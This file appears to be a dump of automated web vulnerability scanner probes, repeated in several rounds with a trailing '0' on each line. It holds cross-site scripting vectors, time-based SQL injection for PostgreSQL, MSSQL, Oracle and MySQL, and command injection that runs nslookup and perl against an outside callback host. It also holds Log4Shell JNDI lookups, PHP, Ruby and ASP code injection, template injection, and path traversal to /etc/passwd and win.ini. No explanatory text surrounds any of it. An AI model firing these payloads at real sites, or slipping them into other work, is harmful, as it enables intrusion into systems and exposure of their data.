1P8NB3ziEO 0
1 0
1 0
1 0
1DcaimQCXaO 0
1 0
1 0
1 0
1<anBsfw4< 0
1<img sRc='http://attacker-9649/log.php? 0
1<aZA535q x=9027> 0
1<ifRAme sRc=9289.com></IfRamE> 0
1<WBZOPJ>PSIHR[!+!]</WBZOPJ> 0
1ssrdW <ScRiPt >8aui(9681)</ScRiPt> 0
1}body{acu:Expre/**/SSion(8aui(9597))} 0
<a HrEF=jaVaScRiPT:> 0
<a HrEF=http://xss.bxss.me></a> 0
1<input autofocus onfocus=8aui(9627)> 0
�<img acu onmouseover=8aui(91241) //�> 0
1&lt;ScRiPt&gt;8aui(9741)&lt;/sCripT&gt; 0
1\u003CScRiPt\8aui(9798)\u003C/sCripT\u003E 0
%31%3C%53%63%52%69%50%74%20%3E%38%61%75%69%289823%29%3C%2F%73%43%72%69%70%54%3E 0
1<img/src=">" onerror=alert(9611)> 0
1<img src=xyz OnErRor=8aui(9339)> 0
1<img src=//xss.bxss.me/t/dot.gif onload=8aui(9873)> 0
1<body onload=8aui(9237)> 0
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9464'> 0
1<isindex type=image src=1 onerror=8aui(9259)> 0
1<svg �onload=8aui(9538);> 0
1<ScRiPt >8aui(9734)</ScRiPt> 0
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9897></ScRiPt> 0
1<ScRiPt >8aui(9200)</ScRiPt> 0
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%38%61%75%69%28%39%33%34%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0
1<script>8aui(9418)</script> 0
1<WFTMGK>OALT3[!+!]</WFTMGK> 0
1 0
1 0
@@KJsut 0
1����%2527%2522 0
1'" 0
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 0
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0
1<ScRiPt >8aui(9131)</ScRiPt> 0
cIH4wVzy')) OR 791=(SELECT 791 FROM PG_SLEEP(15))-- 0
aQqmGSWr') OR 927=(SELECT 927 FROM PG_SLEEP(15))-- 0
zhTim66e' OR 981=(SELECT 981 FROM PG_SLEEP(15))-- 0
-1)) OR 873=(SELECT 873 FROM PG_SLEEP(15))-- 0
-5) OR 216=(SELECT 216 FROM PG_SLEEP(15))-- 0
-5 OR 391=(SELECT 391 FROM PG_SLEEP(15))-- 0
DEFhkJq3')); waitfor delay '0:0:15' -- 0
tDe2yZcl'); waitfor delay '0:0:15' -- 0
4x5yLthM'; waitfor delay '0:0:15' -- 0
1 waitfor delay '0:0:15' -- 0
-1)); waitfor delay '0:0:15' -- 0
-1); waitfor delay '0:0:15' -- 0
-1; waitfor delay '0:0:15' -- 0
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 0
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0
if(now()=sysdate(),sleep(15),0) 0
-1" OR 2+975-975-1=0+0+0+1 -- 0
-1' OR 2+201-201-1=0+0+0+1 or '21PKESGa'=' 0
-1' OR 2+330-330-1=0+0+0+1 -- 0
-1 OR 2+93-93-1=0+0+0+1 0
-1 OR 2+122-122-1=0+0+0+1 -- 0
bCN0wQSg 0
1 0
1 0
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0
acx__${98991*97996}__::.x 0
1 0
1 0
1 0
acx[[${98991*97996}]]xca 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
acx{{98991*97996}}xca 0
1 0
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0
1<esi:include src="http://bxss.me/rpb.png"/> 0
1 0
1 0
1 0
1 0
1 0
1 0
;(nslookup hitalkarvnvig0a498.bxss.me||perl -e "gethostbyname('hitalkarvnvig0a498.bxss.me')")|(nslookup hitalkarvnvig0a498.bxss.me||perl -e "gethostbyname('hitalkarvnvig0a498.bxss.me')")&(nslookup hitalkarvnvig0a498.bxss.me||perl -e "gethostbyname('hitalkarvnvig0a498.bxss.me')") 0
`(nslookup hitgntrszwckqaecb1.bxss.me||perl -e "gethostbyname('hitgntrszwckqaecb1.bxss.me')")` 0
|(nslookup hitstzfzrarmh8bff4.bxss.me||perl -e "gethostbyname('hitstzfzrarmh8bff4.bxss.me')") 0
&(nslookup hitpkswofskql99e9e.bxss.me||perl -e "gethostbyname('hitpkswofskql99e9e.bxss.me')")&'\"`0&(nslookup hitpkswofskql99e9e.bxss.me||perl -e "gethostbyname('hitpkswofskql99e9e.bxss.me')")&`' 0
$(nslookup hitnfbiodznle0beea.bxss.me||perl -e "gethostbyname('hitnfbiodznle0beea.bxss.me')") 0
(nslookup hitappltucqetb42f5.bxss.me||perl -e "gethostbyname('hitappltucqetb42f5.bxss.me')") 0
|echo cozppy$()\ ccgtdz\nz^xyu||a #' |echo cozppy$()\ ccgtdz\nz^xyu||a #|" |echo cozppy$()\ ccgtdz\nz^xyu||a # 0
&echo mmzkre$()\ lpmwdi\nz^xyu||a #' &echo mmzkre$()\ lpmwdi\nz^xyu||a #|" &echo mmzkre$()\ lpmwdi\nz^xyu||a # 0
echo fnkowz$()\ kdgvku\nz^xyu||a #' &echo fnkowz$()\ kdgvku\nz^xyu||a #|" &echo fnkowz$()\ kdgvku\nz^xyu||a # 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 0
<th:t="${acx}#foreach 0
1 0
1 0
1 0
^(#$!@#$)(()))****** 0
!(()&&!|*|*| 0
) 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
bxss.me 0
http://bxss.me/t/fit.txt%3F.jpg 0
Http://bxss.me/t/fit.txt 0
<%={{={@{#{${acx}}%> 0
1some_inexistent_file_with_long_name%00.jpg 0
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg 0
1 0
1 0
1 0
../1 0
1 0
../../../../../../../../../../../../../../windows/win.ini 0
../../../../../../../../../../../../../../etc/passwd 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
acux2437%C0%BEz1%C0%BCz2a%90bcxuca2437 0
1 0
1 0
${j${::-n}di:dns${::-:}//hitmgxpurbwxne2990${::-.}bxss.me} 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
${9999593+9999542} 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
".gethostbyname(lc("hitak"."krvrwclt43be5.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(90).chr(113).chr(75)." 0
'.gethostbyname(lc('hitfe'.'eqoqlqva06de7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(83).chr(113).chr(70).' 0
1 0
acu4015%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4015 0
1 0
1 0
1 0
bxss.me/t/xss.html?%00 0
HttP://bxss.me/t/xss.html?%00 0
1 0
1 0
1 0
19217891 0
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 0
0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
<!-- 0
1 0
'" 0
1 0
1 0
1 0
'.print(md5(31337)).' 0
${@print(md5(31337))}\ 0
1 0
${@print(md5(31337))} 0
";print(md5(31337));$a=" 0
';print(md5(31337));$a=' 0
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); 0
1 0
1 0
'"() 0
0
1 0
'"()&%<acx><ScRiPt >8aui(9411)</ScRiPt> 0
1 0
1 0
1 0
1 0
1'"()&%<acx><ScRiPt >8aui(9982)</ScRiPt> 0
1 0
1 0
1 0
1 0
1&n938324=v954433 0
1 0
1 0
/../../../../../../../../../../windows/system32/BITSADMIN.exe 0
1 0
1 0
1 0
'+'A'.concat(70-3).concat(22*4).concat(106).concat(70).concat(122).concat(75)+(require'socket' Socket.gethostbyname('hitwi'+'qszbbyiu0e379.bxss.me.')[3].to_s)+' 0
"+"A".concat(70-3).concat(22*4).concat(109).concat(70).concat(110).concat(78)+(require"socket" Socket.gethostbyname("hitnb"+"pvwtpime72c97.bxss.me.")[3].to_s)+" 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
euOfib3m 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
"+response.write(9512728*9552953)+" 0
'+response.write(9512728*9552953)+' 0
response.write(9512728*9552953) 0
1 0
1 0
1 0
1 0
1 0
1 0
/xfs.bxss.me 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1<aiA1nbM< 0
1<img sRc='http://attacker-9306/log.php? 0
1<aklOPpc x=9446> 0
1<ifRAme sRc=9839.com></IfRamE> 0
1<WTYWRY>D7NIK[!+!]</WTYWRY> 0
10Hf1K <ScRiPt >bpxq(9576)</ScRiPt> 0
1}body{acu:Expre/**/SSion(bpxq(9136))} 0
<a HrEF=jaVaScRiPT:> 0
<a HrEF=http://xss.bxss.me></a> 0
1<input autofocus onfocus=bpxq(9660)> 0
�<img acu onmouseover=bpxq(91231) //�> 0
1&lt;ScRiPt&gt;bpxq(9063)&lt;/sCripT&gt; 0
1\u003CScRiPt\bpxq(9197)\u003C/sCripT\u003E 0
%31%3C%53%63%52%69%50%74%20%3E%62%70%78%71%289843%29%3C%2F%73%43%72%69%70%54%3E 0
1<img/src=">" onerror=alert(9790)> 0
1<img src=xyz OnErRor=bpxq(9143)> 0
1<img src=//xss.bxss.me/t/dot.gif onload=bpxq(9664)> 0
1<body onload=bpxq(9085)> 0
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9240'> 0
1<isindex type=image src=1 onerror=bpxq(9791)> 0
1<svg �onload=bpxq(9367);> 0
1<ScRiPt >bpxq(9962)</ScRiPt> 0
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9362></ScRiPt> 0
1<ScRiPt >bpxq(9226)</ScRiPt> 0
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%62%70%78%71%28%39%34%39%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0
1<script>bpxq(9233)</script> 0
1<W2SR73>UBCQJ[!+!]</W2SR73> 0
1<ScRiPt >bpxq(9716)</ScRiPt> 0
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0
acx__${98991*97996}__::.x 0
acx[[${98991*97996}]]xca 0
acx{{98991*97996}}xca 0
1 0
1 0
1 0
@@fQWfP 0
1����%2527%2522 0
1'" 0
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 0
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0
Nm9RkQzV')) OR 308=(SELECT 308 FROM PG_SLEEP(15))-- 0
A7rfLfFQ') OR 165=(SELECT 165 FROM PG_SLEEP(15))-- 0
7z6IQHTd' OR 462=(SELECT 462 FROM PG_SLEEP(15))-- 0
-1)) OR 120=(SELECT 120 FROM PG_SLEEP(15))-- 0
-5) OR 841=(SELECT 841 FROM PG_SLEEP(15))-- 0
-5 OR 509=(SELECT 509 FROM PG_SLEEP(15))-- 0
LAyk1jSO')); waitfor delay '0:0:15' -- 0
uJmM8Ljl'); waitfor delay '0:0:15' -- 0
ZYnVZa6n'; waitfor delay '0:0:15' -- 0
1 waitfor delay '0:0:15' -- 0
-1)); waitfor delay '0:0:15' -- 0
-1); waitfor delay '0:0:15' -- 0
-1; waitfor delay '0:0:15' -- 0
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 0
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0
if(now()=sysdate(),sleep(15),0) 0
-1" OR 2+300-300-1=0+0+0+1 -- 0
-1' OR 2+214-214-1=0+0+0+1 or 'q45VK2Aw'=' 0
-1' OR 2+524-524-1=0+0+0+1 -- 0
-1 OR 2+547-547-1=0+0+0+1 0
-1 OR 2+951-951-1=0+0+0+1 -- 0
1J9rV3QT 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0
1 0
1 0
1 0
".gethostbyname(lc("hitdz"."evcvezwdb0853.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(74).chr(113).chr(71)." 0
'.gethostbyname(lc('hitth'.'wmjgkrubb674e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(84).chr(103).chr(84).' 0
1 0
1 0
1 0
'.print(md5(31337)).' 0
${@print(md5(31337))}\ 0
${@print(md5(31337))} 0
1 0
";print(md5(31337));$a=" 0
';print(md5(31337));$a=' 0
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
;(nslookup hithofdrgmjre14317.bxss.me||perl -e "gethostbyname('hithofdrgmjre14317.bxss.me')")|(nslookup hithofdrgmjre14317.bxss.me||perl -e "gethostbyname('hithofdrgmjre14317.bxss.me')")&(nslookup hithofdrgmjre14317.bxss.me||perl -e "gethostbyname('hithofdrgmjre14317.bxss.me')") 0
`(nslookup hiterysrfldme1bcb5.bxss.me||perl -e "gethostbyname('hiterysrfldme1bcb5.bxss.me')")` 0
|(nslookup hitpjnubdgxwh51aa9.bxss.me||perl -e "gethostbyname('hitpjnubdgxwh51aa9.bxss.me')") 0
&(nslookup hitqkvxctezeg89084.bxss.me||perl -e "gethostbyname('hitqkvxctezeg89084.bxss.me')")&'\"`0&(nslookup hitqkvxctezeg89084.bxss.me||perl -e "gethostbyname('hitqkvxctezeg89084.bxss.me')")&`' 0
$(nslookup hithpdxwjyesqe3b70.bxss.me||perl -e "gethostbyname('hithpdxwjyesqe3b70.bxss.me')") 0
(nslookup hitpiaqhlaadfe5ac0.bxss.me||perl -e "gethostbyname('hitpiaqhlaadfe5ac0.bxss.me')") 0
|echo rqovpy$()\ xmxxug\nz^xyu||a #' |echo rqovpy$()\ xmxxug\nz^xyu||a #|" |echo rqovpy$()\ xmxxug\nz^xyu||a # 0
&echo nwxbdp$()\ rfypsy\nz^xyu||a #' &echo nwxbdp$()\ rfypsy\nz^xyu||a #|" &echo nwxbdp$()\ rfypsy\nz^xyu||a # 0
echo oveipg$()\ tefcje\nz^xyu||a #' &echo oveipg$()\ tefcje\nz^xyu||a #|" &echo oveipg$()\ tefcje\nz^xyu||a # 0
1 0
<th:t="${acx}#foreach 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
bxss.me/t/xss.html?%00 0
1 0
HttP://bxss.me/t/xss.html?%00 0
1 0
1 0
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 0
1 0
<%={{={@{#{${acx}}%> 0
1 0
acux7124%C0%BEz1%C0%BCz2a%90bcxuca7124 0
1 0
1 0
1 0
acu3321%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3321 0
1 0
1 0
1 0
1 0
1 0
1 0
1&n923047=v933873 0
19582308 0
'"()&%<acx><ScRiPt >bpxq(9801)</ScRiPt> 0
1'"()&%<acx><ScRiPt >bpxq(9433)</ScRiPt> 0
<!-- 0
'" 0
1 0
1 0
1 0
'"() 0
1 0
0
1 0
1 0
^(#$!@#$)(()))****** 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
${j${::-n}di:dns${::-:}//hituanobxuaree8aed${::-.}bxss.me} 0
1 0
1 0
1 0
1 0
!(()&&!|*|*| 0
1 0
) 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
"+response.write(9912249*9484465)+" 0
../1 0
1 0
1 0
../../../../../../../../../../../../../../windows/win.ini 0
../../../../../../../../../../../../../../etc/passwd 0
1 0
1 0
1 0
'+response.write(9912249*9484465)+' 0
1 0
LRwFF8j4 0
))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 0
1 0
1 0
1 0
1 0
1 0
1 0
bxss.me 0
1 0
http://bxss.me/t/fit.txt%3F.jpg 0
Http://bxss.me/t/fit.txt 0
1 0
1some_inexistent_file_with_long_name%00.jpg 0
1 0
1 0
1 0
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg 0
1 0
1 0
1 0
1 0
${9999008+10000327} 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
response.write(9912249*9484465) 0
/../../../../../../../../../../windows/system32/BITSADMIN.exe 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1<esi:include src="http://bxss.me/rpb.png"/> 0
1 0
1 0
1 0
1 0
1 0
'+'A'.concat(70-3).concat(22*4).concat(110).concat(65).concat(111).concat(72)+(require'socket' Socket.gethostbyname('hitlr'+'ctumtqzj22e4f.bxss.me.')[3].to_s)+' 0
1 0
1 0
"+"A".concat(70-3).concat(22*4).concat(104).concat(74).concat(104).concat(67)+(require"socket" Socket.gethostbyname("hitbl"+"oniqirjlb86c4.bxss.me.")[3].to_s)+" 0
1 0
1 0
/xfs.bxss.me 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1<aBtZys5< 0
1<img sRc='http://attacker-9003/log.php? 0
1<aoDtFR6 x=9138> 0
1<ifRAme sRc=9820.com></IfRamE> 0
1<WOXLSR>YYT7R[!+!]</WOXLSR> 0
1ltq3n <ScRiPt >2k3h(9969)</ScRiPt> 0
1}body{acu:Expre/**/SSion(2k3h(9978))} 0
<a HrEF=jaVaScRiPT:> 0
<a HrEF=http://xss.bxss.me></a> 0
1<input autofocus onfocus=2k3h(9118)> 0
�<img acu onmouseover=2k3h(98351) //�> 0
1&lt;ScRiPt&gt;2k3h(9530)&lt;/sCripT&gt; 0
1\u003CScRiPt\2k3h(9740)\u003C/sCripT\u003E 0
%31%3C%53%63%52%69%50%74%20%3E%32%6B%33%68%289385%29%3C%2F%73%43%72%69%70%54%3E 0
1<img/src=">" onerror=alert(9493)> 0
1<img src=xyz OnErRor=2k3h(9457)> 0
1<img src=//xss.bxss.me/t/dot.gif onload=2k3h(9677)> 0
1<body onload=2k3h(9606)> 0
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9936'> 0
1<isindex type=image src=1 onerror=2k3h(9185)> 0
1<svg �onload=2k3h(9628);> 0
1<ScRiPt >2k3h(9817)</ScRiPt> 0
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9123></ScRiPt> 0
1<ScRiPt >2k3h(9867)</ScRiPt> 0
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%32%6B%33%68%28%39%30%30%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0
1<script>2k3h(9585)</script> 0
1<WHGYNG>49HGT[!+!]</WHGYNG> 0
1<ScRiPt >2k3h(9116)</ScRiPt> 0
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0
acx__${98991*97996}__::.x 0
1 0
1 0
@@jBxPP 0
1����%2527%2522 0
1'" 0
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 0
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0
pOUNylkO')) OR 314=(SELECT 314 FROM PG_SLEEP(15))-- 0
LYHs1qL8') OR 71=(SELECT 71 FROM PG_SLEEP(15))-- 0
g30KdTHU' OR 363=(SELECT 363 FROM PG_SLEEP(15))-- 0
-1)) OR 320=(SELECT 320 FROM PG_SLEEP(15))-- 0
acx[[${98991*97996}]]xca 0
acx{{98991*97996}}xca 0
-5) OR 480=(SELECT 480 FROM PG_SLEEP(15))-- 0
-5 OR 828=(SELECT 828 FROM PG_SLEEP(15))-- 0
WA7ldyT9')); waitfor delay '0:0:15' -- 0
zJ9XS3Dg'); waitfor delay '0:0:15' -- 0
xWRbQiO1'; waitfor delay '0:0:15' -- 0
1 waitfor delay '0:0:15' -- 0
1 0
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0
1 0
<th:t="${acx}#foreach 0
1 0
-1)); waitfor delay '0:0:15' -- 0
-1); waitfor delay '0:0:15' -- 0
<%={{={@{#{${acx}}%> 0
-1; waitfor delay '0:0:15' -- 0
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 0
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0
acux8485%C0%BEz1%C0%BCz2a%90bcxuca8485 0
if(now()=sysdate(),sleep(15),0) 0
-1" OR 2+223-223-1=0+0+0+1 -- 0
-1' OR 2+190-190-1=0+0+0+1 or 'ampYKe6z'=' 0
-1' OR 2+63-63-1=0+0+0+1 -- 0
-1 OR 2+642-642-1=0+0+0+1 0
-1 OR 2+874-874-1=0+0+0+1 -- 0
P5zXfiTP 0
1 0
1 0
acu5151%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca5151 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
19012035 0
1 0
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 0
0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
'"() 0
/../../../../../../../../../../windows/system32/BITSADMIN.exe 0
;(nslookup hitvfnpyxgism478e2.bxss.me||perl -e "gethostbyname('hitvfnpyxgism478e2.bxss.me')")|(nslookup hitvfnpyxgism478e2.bxss.me||perl -e "gethostbyname('hitvfnpyxgism478e2.bxss.me')")&(nslookup hitvfnpyxgism478e2.bxss.me||perl -e "gethostbyname('hitvfnpyxgism478e2.bxss.me')") 0
`(nslookup hitndgtgbayhff4820.bxss.me||perl -e "gethostbyname('hitndgtgbayhff4820.bxss.me')")` 0
|(nslookup hitdemvhyvplj59ba6.bxss.me||perl -e "gethostbyname('hitdemvhyvplj59ba6.bxss.me')") 0
'"()&%<acx><ScRiPt >2k3h(9647)</ScRiPt> 0
&(nslookup hitpnptmrdzlde263e.bxss.me||perl -e "gethostbyname('hitpnptmrdzlde263e.bxss.me')")&'\"`0&(nslookup hitpnptmrdzlde263e.bxss.me||perl -e "gethostbyname('hitpnptmrdzlde263e.bxss.me')")&`' 0
$(nslookup hitcylbhkxlcb1a09d.bxss.me||perl -e "gethostbyname('hitcylbhkxlcb1a09d.bxss.me')") 0
(nslookup hitywdhvlpime83b4f.bxss.me||perl -e "gethostbyname('hitywdhvlpime83b4f.bxss.me')") 0
|echo qyflbd$()\ gzepxd\nz^xyu||a #' |echo qyflbd$()\ gzepxd\nz^xyu||a #|" |echo qyflbd$()\ gzepxd\nz^xyu||a # 0
1 0
&echo pekqiw$()\ dhojql\nz^xyu||a #' &echo pekqiw$()\ dhojql\nz^xyu||a #|" &echo pekqiw$()\ dhojql\nz^xyu||a # 0
echo yiibih$()\ jnxmcp\nz^xyu||a #' &echo yiibih$()\ jnxmcp\nz^xyu||a #|" &echo yiibih$()\ jnxmcp\nz^xyu||a # 0
1 0
1 0
1 0
1 0
1 0
jou9fJI8 0
1 0
1'"()&%<acx><ScRiPt >2k3h(9380)</ScRiPt> 0
1 0
bxss.me 0
http://bxss.me/t/fit.txt%3F.jpg 0
'.print(md5(31337)).' 0
${@print(md5(31337))}\ 0
${@print(md5(31337))} 0
";print(md5(31337));$a=" 0
';print(md5(31337));$a=' 0
0
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
".gethostbyname(lc("hitwy"."niqrivlu6f5c7.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(79).chr(120).chr(81)." 0
'.gethostbyname(lc('hitdf'.'vpldecmid1403.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(82).chr(102).chr(76).' 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
../1 0
1 0
../../../../../../../../../../../../../../windows/win.ini 0
../../../../../../../../../../../../../../etc/passwd 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
/xfs.bxss.me 0
1 0
1 0
Http://bxss.me/t/fit.txt 0
1some_inexistent_file_with_long_name%00.jpg 0
1 0
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1&n929290=v957059 0
))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 0
"+response.write(9091347*9075032)+" 0
1 0
1 0
1<esi:include src="http://bxss.me/rpb.png"/> 0
^(#$!@#$)(()))****** 0
1 0
!(()&&!|*|*| 0
1 0
1 0
) 0
1 0
1 0
1 0
1 0
bxss.me/t/xss.html?%00 0
1 0
1 0
1 0
1 0
1 0
1 0
'+'A'.concat(70-3).concat(22*4).concat(119).concat(88).concat(113).concat(74)+(require'socket' Socket.gethostbyname('hitgu'+'lapfbxntf760f.bxss.me.')[3].to_s)+' 0
"+"A".concat(70-3).concat(22*4).concat(106).concat(76).concat(97).concat(66)+(require"socket" Socket.gethostbyname("hitao"+"zsdhdhewf4f4d.bxss.me.")[3].to_s)+" 0
1 0
1 0
1 0
1 0
1 0
1 0
${j${::-n}di:dns${::-:}//hitapeguykekpea54b${::-.}bxss.me} 0
'+response.write(9091347*9075032)+' 0
<!-- 0
1 0
1 0
'" 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
HttP://bxss.me/t/xss.html?%00 0
1 0
response.write(9091347*9075032) 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
${9999042+9999892} 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1 0
1<abBsZeg< 0
1<img sRc='http://attacker-9585/log.php? 0
1<aAUd8TB x=9116> 0
1<ifRAme sRc=9590.com></IfRamE> 0
1<WQF089>D8IRF[!+!]</WQF089> 0
1TsAhB <ScRiPt >5Bns(9920)</ScRiPt> 0
1}body{acu:Expre/**/SSion(5Bns(9929))} 0
<a HrEF=jaVaScRiPT:> 0
<a HrEF=http://xss.bxss.me></a> 0
1<input autofocus onfocus=5Bns(9652)> 0
�<img acu onmouseover=5Bns(91461) //�> 0
1&lt;ScRiPt&gt;5Bns(9875)&lt;/sCripT&gt; 0
1\u003CScRiPt\5Bns(9433)\u003C/sCripT\u003E 0
%31%3C%53%63%52%69%50%74%20%3E%35%42%6E%73%289909%29%3C%2F%73%43%72%69%70%54%3E 0
1<img/src=">" onerror=alert(9691)> 0
1<img src=xyz OnErRor=5Bns(9852)> 0
1<img src=//xss.bxss.me/t/dot.gif onload=5Bns(9141)> 0
1<body onload=5Bns(9708)> 0
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9915'> 0
1<isindex type=image src=1 onerror=5Bns(9969)> 0
1<svg �onload=5Bns(9391);> 0
1<ScRiPt >5Bns(9851)</ScRiPt> 0
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9133></ScRiPt> 0
1<ScRiPt >5Bns(9695)</ScRiPt> 0
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%35%42%6E%73%28%39%31%38%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0
1<script>5Bns(9204)</script> 0
1<WNEQKS>7FEWZ[!+!]</WNEQKS> 0
1<ScRiPt >5Bns(9851)</ScRiPt> 0
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0
1 0
1 0
@@Z1ynk 0
1����%2527%2522 0
1'" 0
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 0
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0
EOvPiiw0')) OR 565=(SELECT 565 FROM PG_SLEEP(15))-- 0
uq3YqK9E') OR 577=(SELECT 577 FROM PG_SLEEP(15))-- 0
